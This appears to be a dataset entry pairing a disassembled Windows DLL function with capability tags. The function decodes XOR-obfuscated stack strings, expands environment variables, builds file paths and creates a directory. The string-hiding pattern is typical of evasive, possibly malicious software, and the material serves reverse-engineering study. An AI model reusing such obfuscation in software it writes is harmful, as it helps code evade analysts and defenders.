Function at 0x1000328c
Capabilities:
Create directory
Encode data using xor
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x452c
call fcn.100183e0
push ebx
push esi
push edi
push 0x25
pop edx
push 0x77
pop eax
push 0x69
pop ecx
push 0x6e
mov word [esp + 0x8e], ax
pop eax
push 0x64
mov word [esp + 0x92], ax
pop eax
push 0x72
pop esi
push 0x73
pop ebx
push 0x79
mov word [esp + 0x94], ax
xor eax, eax
mov word [esp + 0x9c], ax
pop eax
push 0x74
mov word [esp + 0xa2], ax
pop eax
push 0x65
pop edi
push 0x6d
mov word [esp + 0xa6], ax
pop eax
push 0x33
mov word [esp + 0x8c], dx
mov word [esp + 0x9a], dx
pop edx
push 0x32
mov word [esp + 0x90], cx
mov word [esp + 0x96], cx
xor ecx, ecx
mov word [esp + 0xaa], ax
pop eax
push 0x67
mov word [esp + 0xb0], cx
pop ecx
push 0x76
mov word [esp + 0xb8], cx
pop ecx
push 0x2e
mov word [esp + 0x98], si
mov word [esp + 0xb4], si
mov word [esp + 0xbe], si
pop esi
push 0x78
mov word [esp + 0xbc], cx
pop ecx
mov word [esp + 0xc4], cx
xor ecx, ecx
push 0x7d
mov word [esp + 0xcc], cx
pop ecx
push 0x58
mov word [esp + 0xa8], di
mov word [esp + 0xac], dx
mov word [esp + 0xb6], di
mov word [esp + 0xc0], dx
mov dl, cl
mov word [esp + 0xc6], di
mov word [esp + 0xca], di
pop edi
mov word [esp + 0x9c], bx
mov word [esp + 0xa0], bx
mov word [esp + 0xaa], ax
mov word [esp + 0xb6], bx
mov word [esp + 0xbe], ax
mov word [esp + 0xc0], si
mov byte [esp + 0x54], dl
mov byte [esp + 0x55], 0
mov word [esp + 0x56], di
push 0x28
pop ecx
push 0x38
mov word [esp + 0x5c], cx
pop ecx
push 0x2f
pop ebx
push 0x2d
mov word [esp + 0x5e], si
pop esi
push 0x3b
mov word [esp + 0x68], ax
pop eax
push 0x34
mov word [esp + 0x6a], ax
pop eax
push 0x31
mov word [esp + 0x6c], ax
pop eax
mov word [esp + 0x6a], ax
push 0x21
pop eax
mov word [esp + 0x70], ax
xor eax, eax
mov word [esp + 0x5c], cx
mov word [esp + 0x6c], cx
xor ecx, ecx
mov word [esp + 0x5e], bx
mov word [esp + 0x60], si
mov word [esp + 0x62], bx
mov word [esp + 0x6e], di
mov word [esp + 0x72], ax
movsx ax, dl
xor word [esp + ecx*2 + 0x56], ax
inc ecx
cmp ecx, 0xe
jae 0x1000345d
mov dl, byte [esp + 0x54]
jmp 0x10003448
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor eax, eax
mov word [esp + 0x72], ax
lea eax, [esp + 0xd0]
push 0x410
push eax
lea eax, [esp + 0x5e]
push eax
call esi
lea eax, [esp + 0x54]
push eax
call fcn.10003ac6
mov edx, eax
push 0x17
pop eax
mov edi, eax
lea ebx, [edx + 2]
mov ecx, ebx
movsx ax, byte [edx]
xor word [ecx], ax
lea ecx, [ecx + 2]
sub edi, 1
jne 0x10003494
xor eax, eax
mov word [edx + 0x30], ax
lea eax, [esp + 0xd00]
push 0x410
push eax
push ebx
call esi
lea eax, [esp + 0x54]
push eax
call fcn.10003b67
push 0x16
pop ecx
mov edi, ecx
lea ebx, [eax + 2]
mov edx, ebx
movsx cx, byte [eax]
xor word [edx], cx
lea edx, [edx + 2]
sub edi, 1
jne 0x100034cd
xor ecx, ecx
mov word [eax + 0x2e], cx
lea eax, [esp + 0x1110]
push 0x410
push eax
push ebx
call esi
lea eax, [esp + 0x54]
push eax
call fcn.10003c04
push 0x14
pop edi
mov ebx, edi
lea ecx, [eax + 2]
mov dword [esp + 0xcc], ecx
mov edx, ecx
movsx cx, byte [eax]
xor word [edx], cx
lea edx, [edx + 2]
sub ebx, 1
jne 0x1000350d
xor ecx, ecx
mov word [eax + 0x2a], cx
lea eax, [esp + 0x8f0]
push 0x410
push eax
push dword [esp + 0xd4]
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x4e4]
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x4e0]
push 0x1001e058
push eax
call esi
lea eax, [esp + 0x9c]
push eax
lea eax, [esp + 0x4e4]
push eax
call esi
push 0x1001e05c
lea eax, [esp + 0x4e4]
push eax
call esi
lea eax, [esp + 0xb0]
push eax
lea eax, [esp + 0x4e4]
push eax
call esi
push 0x1c
pop eax
push 0x5a
pop ecx
push 0x7d
mov word [esp + 0x16], cx
pop ecx
push 0x6a
mov word [esp + 0x18], cx
pop ecx
push 0x73
mov word [esp + 0x1a], cx
pop ecx
push 0x6e
mov word [esp + 0x1c], cx
pop ecx
push 0x75
mov word [esp + 0x1e], cx
pop ecx
push 0x68
mov word [esp + 0x20], cx
pop ecx
push 0x79
mov word [esp + 0x22], cx
pop ecx
push 0x6f
mov word [esp + 0x24], cx
pop ecx
push 0x40
mov word [esp + 0x26], cx
pop ecx
mov word [esp + 0x24], cx
xor ecx, ecx
push 0xa
mov byte [esp + 0x14], al
mov byte [esp + 0x15], 0
mov word [esp + 0x2a], cx
pop edx
cbw
xor word [esp + ecx*2 + 0x12], ax
inc ecx
cmp ecx, edx
jae 0x10003610
mov al, byte [esp + 0x10]
jmp 0x100035fe
xor eax, eax
mov word [esp + 0x26], ax
lea eax, [esp + 0x12]
push eax
lea eax, [esp + 0xd4]
push eax
call esi
lea eax, [esp + 0xd00]
push eax
lea eax, [esp + 0xd4]
push eax
call esi
push 0x5b
pop eax
push 8
pop ecx
push 0x2f
mov word [esp + 0x16], cx
pop ecx
push 0x3a
mov word [esp + 0x18], cx
pop ecx
push 0x32
mov word [esp + 0x1a], cx
pop ecx
push 0x35
mov word [esp + 0x1c], cx
pop ecx
push 0x37
mov word [esp + 0x1e], cx
pop ecx
push 0x3e
mov word [esp + 0x20], cx
pop ecx
push 0x28
mov word [esp + 0x22], cx
pop ecx
push 4
mov word [esp + 0x24], cx
mov word [esp + 0x26], cx
pop ecx
mov word [esp + 0x24], cx
xor ecx, ecx
push 0xa
mov byte [esp + 0x14], al
mov byte [esp + 0x15], 0
mov word [esp + 0x2a], cx
pop edx
cbw
xor word [esp + ecx*2 + 0x12], ax
inc ecx
cmp ecx, edx
jae 0x100036ad
mov al, byte [esp + 0x10]
jmp 0x1000369b
xor eax, eax
mov word [esp + 0x26], ax
lea eax, [esp + 0x12]
push eax
lea eax, [esp + 0x3534]
push eax
call ebx
push 0x52
pop ecx
push 0x17
mov word [esp + 0x16], cx
xor ebx, ebx
pop ecx
push 0xa
pop edx
push 0x13
mov word [esp + 0x18], cx
mov al, 0x24
pop ecx
push 0x1c
mov word [esp + 0x1c], cx
pop ecx
push 0x16
mov word [esp + 0x1e], cx
pop ecx
push 0x10
mov word [esp + 0x22], cx
pop ecx
mov word [esp + 0x20], cx
push 0x1d
pop ecx
mov word [esp + 0x22], cx
xor ecx, ecx
mov word [esp + 0x10], 0x24
mov word [esp + 0x16], dx
mov word [esp + 0x1c], dx
mov word [esp + 0x24], dx
mov word [esp + 0x26], cx
cbw
xor word [esp + ecx*2 + 0x12], ax
inc ecx
cmp ecx, edx
jae 0x10003731
mov al, byte [esp + 0x10]
jmp 0x1000371f
xor eax, eax
mov word [esp + 0x26], ax
lea eax, [esp + 0x12]
push eax
lea eax, [esp + 0x3534]
push eax
call esi
lea eax, [esp + 0x1110]
push eax
lea eax, [esp + 0x3534]
push eax
call esi
push ebx
lea eax, [esp + 0xd4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x10003abd
push 0x12
pop eax
push 0x41
pop ecx
push 0x66
mov word [esp + 0x16], cx
pop ecx
push 0x73
mov word [esp + 0x18], cx
pop ecx
push 0x7b
mov word [esp + 0x1a], cx
pop ecx
push 0x7c
mov word [esp + 0x1c], cx
pop ecx
push 0x7e
mov byte [esp + 0x15], bl
pop ebx
push 0x77
mov word [esp + 0x1e], cx
pop ecx
mov word [esp + 0x1e], cx
push 0x61
pop ecx
mov word [esp + 0x20], cx
mov word [esp + 0x22], cx
xor ecx, ecx
mov byte [esp + 0x10], al
mov word [esp + 0x1c], bx
mov word [esp + 0x24], cx
cbw
xor word [esp + ecx*2 + 0x12], ax
inc ecx
cmp ecx, 9
jae 0x100037da
mov al, byte [esp + 0x10]
jmp 0x100037c7
xor eax, eax
mov word [esp + 0x24], ax
lea eax, [esp + 0x12]
push eax
lea eax, [esp + 0xd4]
push eax
call esi
push 0x6c
pop ecx
push 0x2d
mov word [esp + 0x16], cx
mov al, 0x42
pop ecx
push 0x21
mov word [esp + 0x18], cx
pop ecx
mov word [esp + 0x16], cx
push 0x3a
pop ecx
mov word [esp + 0x18], cx
xor ecx, ecx
mov word [esp + 0x10], 0x42
mov word [esp + 0x1a], cx
cbw
xor word [esp + ecx*2 + 0x12], ax
inc ecx
cmp ecx, 4
jae 0x10003833
mov al, byte [esp + 0x10]
jmp 0x10003820
xor eax, eax
mov word [esp + 0x1a], ax
lea eax, [esp + 0x12]
push eax
lea eax, [esp + 0xd4]
push eax
call esi
mov ecx, dword [0x1013ac58]
lea edx, [esp + 0xd0]
call fcn.1000306a
test eax, eax
je 0x10003991
push 0x32
pop eax
push 0x1f
pop edx
push 0x57
pop ecx
push 0x12
pop ebx
push 0x5c
mov word [esp + 0x30], cx
pop ecx
push 0x5b
mov word [esp + 0x36], cx
pop ecx
push 8
mov word [esp + 0x3c], cx
pop ecx
push 0x10
mov word [esp + 0x2e], dx
mov word [esp + 0x34], dx
mov word [esp + 0x3a], dx
pop edx
mov word [esp + 0x3a], cx
xor ecx, ecx
push 0xa
mov word [esp + 0x40], dx
mov byte [esp + 0x2c], al
mov byte [esp + 0x2d], 0
mov word [esp + 0x32], bx
mov word [esp + 0x38], bx
mov word [esp + 0x42], cx
pop edx
cbw
xor word [esp + ecx*2 + 0x2a], ax
inc ecx
cmp ecx, edx
jae 0x100038d2
mov al, byte [esp + 0x28]
jmp 0x100038c0
xor eax, eax
mov word [esp + 0x3e], ax
lea eax, [esp + 0x2a]
push eax
lea eax, [esp + 0x1524]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x8f0]
push eax
lea eax, [esp + 0x1524]
push eax
call esi
push 0x1001e060
lea eax, [esp + 0x1524]
push eax
call esi
lea eax, [esp + 0xd0]
push eax
lea eax, [esp + 0x1524]
push eax
call esi
push 0x1001e068
lea eax, [esp + 0x1524]
push eax
call esi
lea eax, [esp + 0x3530]
mov dword [esp + 0x54], eax
lea eax, [esp + 0x4e0]
mov dword [esp + 0x58], eax
lea eax, [esp + 0x28]
push eax
call fcn.10003c93
lea esi, [eax + 2]
mov edx, esi
movsx cx, byte [eax]
xor word [edx], cx
lea edx, [edx + 2]
sub edi, 1
jne 0x10003953
xor ecx, ecx
mov word [eax + 0x2a], cx
lea eax, [esp + 0x1520]
and dword [esp + 0x68], ecx
lea ecx, [esp + 0x54]
mov dword [esp + 0x5c], esi
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], 3
call fcn.10003269
jmp 0x10003abf
mov ecx, dword [0x1013ac5c]
lea edx, [esp + 0xd0]
call fcn.1000306a
test eax, eax
je 0x10003abd
push 0x53
pop ecx
push 0x1b
pop eax
push 0x5e
mov word [esp + 0x30], ax
pop eax
push 0x10
pop edx
push 0x17
mov word [esp + 0x32], ax
mov word [esp + 0x38], ax
pop eax
push 0x44
mov word [esp + 0x3c], ax
pop eax
push 0x5c
mov word [esp + 0x3e], ax
pop eax
mov word [esp + 0x3c], ax
xor eax, eax
push 0xa
mov word [esp + 0x2e], cx
mov word [esp + 0x34], cx
mov word [esp + 0x36], dx
mov word [esp + 0x3a], cx
xor ecx, ecx
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], 0
mov word [esp + 0x42], ax
pop edx
movsx ax, bl
xor word [esp + ecx*2 + 0x2a], ax
inc ecx
cmp ecx, edx
jae 0x10003a1b
mov bl, byte [esp + 0x28]
jmp 0x10003a07
xor eax, eax
mov word [esp + 0x3e], ax
lea eax, [esp + 0x2a]
push eax
lea eax, [esp + 0x252c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x8f0]
push eax
lea eax, [esp + 0x252c]
push eax
call esi
push 0x1001e06c
lea eax, [esp + 0x252c]
push eax
call esi
lea eax, [esp + 0xd0]
push eax
lea eax, [esp + 0x252c]
push eax
call esi
push 0x1001e074
lea eax, [esp + 0x252c]
push eax
call esi
lea eax, [esp + 0x3530]
mov dword [esp + 0x54], eax
lea eax, [esp + 0x4e0]
mov dword [esp + 0x58], eax
lea eax, [esp + 0x28]
push eax
call fcn.10003d2d
lea esi, [eax + 2]
mov edx, esi
movsx cx, byte [eax]
xor word [edx], cx
lea edx, [edx + 2]
sub edi, 1
jne 0x10003a9c
xor ecx, ecx
mov word [eax + 0x2a], cx
lea eax, [esp + 0x2528]
jmp 0x1000396f
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret